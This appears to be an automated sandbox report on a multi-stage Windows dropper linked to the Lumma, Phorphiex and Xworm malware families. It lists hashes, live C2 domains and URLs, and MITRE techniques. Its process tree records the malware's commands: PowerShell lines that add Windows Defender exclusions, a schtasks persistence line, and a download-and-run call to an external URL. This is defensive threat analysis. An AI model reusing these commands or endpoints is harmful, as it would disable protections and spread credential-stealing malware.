lumma | a3c37478d879d20b7d6c392c70c0acdf0ed7ef4fba94578d9a5a9131b873831b

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
15-12-2024 16:42

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

4363463463464363463463463.exe
Size

10KB
MD5

2a94f3960c58c6e70826495f76d00b85
SHA1

e2a1a5641295f5ebf01a37ac1c170ac0814bb71a
SHA256

2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce
SHA512

fbf55b55fcfb12eb8c029562956229208b9e8e2591859d6336c28a590c92a4d0f7033a77c46ef6ebe07ddfca353aba1e84b51907cd774beab148ee901c92d62f
SSDEEP

192:xlwayyHOXGc20L7BIW12n/ePSjiTlzkGu8stYcFwVc03KY:xlwwHe/20PKn/cLTlHuptYcFwVc03K

Score

10^/10

lumma phorphiex xworm discovery execution loader persistence rat spyware stealer trojan worm

Malware Config

Extracted

Family

xworm

sound-vietnam.gl.at.ply.gg:52575

Attributes

Install_directory
%LocalAppData%
install_file
Terraria-Multiplayer-Fix-Online.exe

Extracted

Family

lumma

https://powerful-avoids.sbs/api

https://motion-treesz.sbs/api

https://disobey-curly.sbs/api

https://leg-sate-boat.sbs/api

https://story-tense-faz.sbs/api

https://blade-govern.sbs/api

https://occupy-blushi.sbs/api

https://frogs-severz.sbs/api

https://consort-slink.cyou/api

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000a000000023b6e-30.dat	family_xworm
behavioral2/memory/2532-37-0x0000000000090000-0x00000000000A8000-memory.dmp	family_xworm

Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma
Phorphiex family
phorphiex

Phorphiex payload 1 IoCs

resource	yara_rule
behavioral2/files/0x000a000000023b6d-22.dat	family_phorphiex

Phorphiex, Phorpiex
Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.
worm trojan loader phorphiex
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1916	powershell.exe
1884	powershell.exe
3208	powershell.exe
3808	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	4363463463464363463463463.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	XClient.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation	jeditor.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Terraria-Multiplayer-Fix-Online.lnk	XClient.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Terraria-Multiplayer-Fix-Online.lnk	XClient.exe

Executes dropped EXE 64 IoCs

pid	Process
2552	workout.exe
3864	t.exe
2532	XClient.exe
4420	sysnldcvmr.exe
5008	315827968.exe
2168	jeditor.exe
648	WEBDOWN.EXE
3316	jeditor.exe
3288	Terraria-Multiplayer-Fix-Online.exe
1072	od.exe
208	kp8dnpa9.exe
2928	World%20of%20Tanks.exe
1164	kp8dnpa9.exe
376	kp8dnpa9.exe
5032	kp8dnpa9.exe
4708	kp8dnpa9.exe
548	kp8dnpa9.exe
2584	kp8dnpa9.exe
3488	kp8dnpa9.exe
2280	kp8dnpa9.exe
4704	kp8dnpa9.exe
1432	kp8dnpa9.exe
428	kp8dnpa9.exe
3480	kp8dnpa9.exe
5080	kp8dnpa9.exe
3972	kp8dnpa9.exe
3384	kp8dnpa9.exe
600	kp8dnpa9.exe
1308	kp8dnpa9.exe
2916	kp8dnpa9.exe
3496	kp8dnpa9.exe
884	kp8dnpa9.exe
2364	kp8dnpa9.exe
2404	kp8dnpa9.exe
3184	kp8dnpa9.exe
3876	kp8dnpa9.exe
3280	kp8dnpa9.exe
4496	kp8dnpa9.exe
2056	kp8dnpa9.exe
4776	kp8dnpa9.exe
1568	kp8dnpa9.exe
3672	kp8dnpa9.exe
1944	kp8dnpa9.exe
1764	kp8dnpa9.exe
2288	kp8dnpa9.exe
1968	kp8dnpa9.exe
3356	kp8dnpa9.exe
4440	kp8dnpa9.exe
3420	kp8dnpa9.exe
2284	kp8dnpa9.exe
3692	kp8dnpa9.exe
820	kp8dnpa9.exe
4452	kp8dnpa9.exe
1956	kp8dnpa9.exe
1820	kp8dnpa9.exe
2560	kp8dnpa9.exe
4644	kp8dnpa9.exe
1232	kp8dnpa9.exe
3460	kp8dnpa9.exe
3716	kp8dnpa9.exe
1160	kp8dnpa9.exe
1144	kp8dnpa9.exe
2220	kp8dnpa9.exe
3564	kp8dnpa9.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysnldcvmr.exe"	t.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Terraria-Multiplayer-Fix-Online = "C:\\Users\\Admin\\AppData\\Local\\Terraria-Multiplayer-Fix-Online.exe"	XClient.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
11	raw.githubusercontent.com
12	raw.githubusercontent.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2552 set thread context of 2916	2552	workout.exe	106

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\sysnldcvmr.exe	t.exe
File opened for modification	C:\Windows\sysnldcvmr.exe	t.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2340	208	Process not Found	113

System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WEBDOWN.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jeditor.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	od.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	kp8dnpa9.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4363463463464363463463463.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sysnldcvmr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	315827968.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	workout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	t.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jeditor.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	World%20of%20Tanks.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
768	schtasks.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3808	powershell.exe
3808	powershell.exe
1916	powershell.exe
1916	powershell.exe
1884	powershell.exe
1884	powershell.exe
3208	powershell.exe
3208	powershell.exe
2532	XClient.exe

Suspicious use of AdjustPrivilegeToken 10 IoCs

description	pid	Process
Token: SeDebugPrivilege	3224	4363463463464363463463463.exe
Token: SeDebugPrivilege	2552	workout.exe
Token: SeDebugPrivilege	2532	XClient.exe
Token: SeDebugPrivilege	3808	powershell.exe
Token: SeDebugPrivilege	1916	powershell.exe
Token: SeDebugPrivilege	1884	powershell.exe
Token: SeDebugPrivilege	3208	powershell.exe
Token: SeDebugPrivilege	2532	XClient.exe
Token: SeDebugPrivilege	3288	Terraria-Multiplayer-Fix-Online.exe
Token: SeDebugPrivilege	242768	Process not Found

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2532	XClient.exe
1072	od.exe
1072	od.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3224 wrote to memory of 2552	3224	4363463463464363463463463.exe	83
PID 3224 wrote to memory of 2552	3224	4363463463464363463463463.exe	83
PID 3224 wrote to memory of 2552	3224	4363463463464363463463463.exe	83
PID 3224 wrote to memory of 3864	3224	4363463463464363463463463.exe	84
PID 3224 wrote to memory of 3864	3224	4363463463464363463463463.exe	84
PID 3224 wrote to memory of 3864	3224	4363463463464363463463463.exe	84
PID 3224 wrote to memory of 2532	3224	4363463463464363463463463.exe	85
PID 3224 wrote to memory of 2532	3224	4363463463464363463463463.exe	85
PID 3864 wrote to memory of 4420	3864	t.exe	86
PID 3864 wrote to memory of 4420	3864	t.exe	86
PID 3864 wrote to memory of 4420	3864	t.exe	86
PID 2532 wrote to memory of 3808	2532	XClient.exe	87
PID 2532 wrote to memory of 3808	2532	XClient.exe	87
PID 2532 wrote to memory of 1916	2532	XClient.exe	89
PID 2532 wrote to memory of 1916	2532	XClient.exe	89
PID 2532 wrote to memory of 1884	2532	XClient.exe	91
PID 2532 wrote to memory of 1884	2532	XClient.exe	91
PID 2532 wrote to memory of 3208	2532	XClient.exe	93
PID 2532 wrote to memory of 3208	2532	XClient.exe	93
PID 2532 wrote to memory of 768	2532	XClient.exe	95
PID 2532 wrote to memory of 768	2532	XClient.exe	95
PID 4420 wrote to memory of 5008	4420	sysnldcvmr.exe	97
PID 4420 wrote to memory of 5008	4420	sysnldcvmr.exe	97
PID 4420 wrote to memory of 5008	4420	sysnldcvmr.exe	97
PID 2552 wrote to memory of 2916	2552	workout.exe	106
PID 2552 wrote to memory of 2916	2552	workout.exe	106
PID 2552 wrote to memory of 2916	2552	workout.exe	106
PID 2552 wrote to memory of 2916	2552	workout.exe	106
PID 2552 wrote to memory of 2916	2552	workout.exe	106
PID 2552 wrote to memory of 2916	2552	workout.exe	106
PID 2552 wrote to memory of 2916	2552	workout.exe	106
PID 2552 wrote to memory of 2916	2552	workout.exe	106
PID 2552 wrote to memory of 2916	2552	workout.exe	106
PID 2552 wrote to memory of 2916	2552	workout.exe	106
PID 3224 wrote to memory of 2168	3224	4363463463464363463463463.exe	108
PID 3224 wrote to memory of 2168	3224	4363463463464363463463463.exe	108
PID 3224 wrote to memory of 2168	3224	4363463463464363463463463.exe	108
PID 2168 wrote to memory of 648	2168	jeditor.exe	109
PID 2168 wrote to memory of 648	2168	jeditor.exe	109
PID 2168 wrote to memory of 648	2168	jeditor.exe	109
PID 648 wrote to memory of 3316	648	WEBDOWN.EXE	110
PID 648 wrote to memory of 3316	648	WEBDOWN.EXE	110
PID 648 wrote to memory of 3316	648	WEBDOWN.EXE	110
PID 3224 wrote to memory of 1072	3224	4363463463464363463463463.exe	112
PID 3224 wrote to memory of 1072	3224	4363463463464363463463463.exe	112
PID 3224 wrote to memory of 1072	3224	4363463463464363463463463.exe	112
PID 3224 wrote to memory of 208	3224	4363463463464363463463463.exe	113
PID 3224 wrote to memory of 208	3224	4363463463464363463463463.exe	113
PID 3224 wrote to memory of 208	3224	4363463463464363463463463.exe	113
PID 3224 wrote to memory of 2928	3224	4363463463464363463463463.exe	115
PID 3224 wrote to memory of 2928	3224	4363463463464363463463463.exe	115
PID 3224 wrote to memory of 2928	3224	4363463463464363463463463.exe	115
PID 208 wrote to memory of 1164	208	kp8dnpa9.exe	116
PID 208 wrote to memory of 1164	208	kp8dnpa9.exe	116
PID 208 wrote to memory of 1164	208	kp8dnpa9.exe	116
PID 208 wrote to memory of 376	208	kp8dnpa9.exe	117
PID 208 wrote to memory of 376	208	kp8dnpa9.exe	117
PID 208 wrote to memory of 376	208	kp8dnpa9.exe	117
PID 208 wrote to memory of 5032	208	kp8dnpa9.exe	118
PID 208 wrote to memory of 5032	208	kp8dnpa9.exe	118
PID 208 wrote to memory of 5032	208	kp8dnpa9.exe	118
PID 208 wrote to memory of 4708	208	kp8dnpa9.exe	119
PID 208 wrote to memory of 4708	208	kp8dnpa9.exe	119
PID 208 wrote to memory of 4708	208	kp8dnpa9.exe	119

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe
"C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3224
- C:\Users\Admin\AppData\Local\Temp\Files\workout.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\workout.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2552
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2916
- C:\Users\Admin\AppData\Local\Temp\Files\t.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\t.exe"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3864
- - C:\Windows\sysnldcvmr.exe
    C:\Windows\sysnldcvmr.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4420
  - - C:\Users\Admin\AppData\Local\Temp\315827968.exe
      C:\Users\Admin\AppData\Local\Temp\315827968.exe
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5008
- C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe"
  2⤵
  - Checks computer location settings
  - Drops startup file
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2532
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Files\XClient.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3808
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1916
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Terraria-Multiplayer-Fix-Online.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1884
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Terraria-Multiplayer-Fix-Online.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3208
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Terraria-Multiplayer-Fix-Online" /tr "C:\Users\Admin\AppData\Local\Terraria-Multiplayer-Fix-Online.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:768
- C:\Users\Admin\AppData\Local\Temp\Files\jeditor.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\jeditor.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2168
- - C:\Users\Admin\AppData\Local\Temp\Files\WEBDOWN.EXE
    "C:\Users\Admin\AppData\Local\Temp\Files\WEBDOWN.EXE" http://www.ojang.pe.kr/CALENDAR/DOWN/JEDITOR/JEDITOR.EXE "C:/Users/Admin/AppData/Local/Temp/Files/jeditor.exe" RUN
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:648
  - - C:\Users\Admin\AppData\Local\Temp\Files\jeditor.exe
      C:\Users\Admin\AppData\Local\Temp\Files\jeditor.exe
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:3316
- C:\Users\Admin\AppData\Local\Temp\Files\od.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\od.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:1072
- C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
  "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:208
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:1164
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:376
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:5032
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:4708
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:548
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:2584
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:3488
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:2280
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:4704
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:1432
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:428
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:3480
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:5080
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:3972
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:3384
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:600
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:1308
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:2916
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:3496
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:884
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:2364
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:2404
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:3876
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:3184
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:3280
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:4496
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:2056
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:4776
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:1568
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:3672
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:1944
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:1764
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:2288
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:1968
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:3356
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:4440
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:3420
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:2284
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:3692
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:820
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:4452
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:1956
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:1820
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:2560
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:4644
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:1232
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:3460
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:3716
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:1160
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:1144
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:2220
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    - Executes dropped EXE
    PID:3564
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:3452
- - C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe
    "C:\Users\Admin\AppData\Local\Temp\Files\kp8dnpa9.exe"
    3⤵
    PID:3892
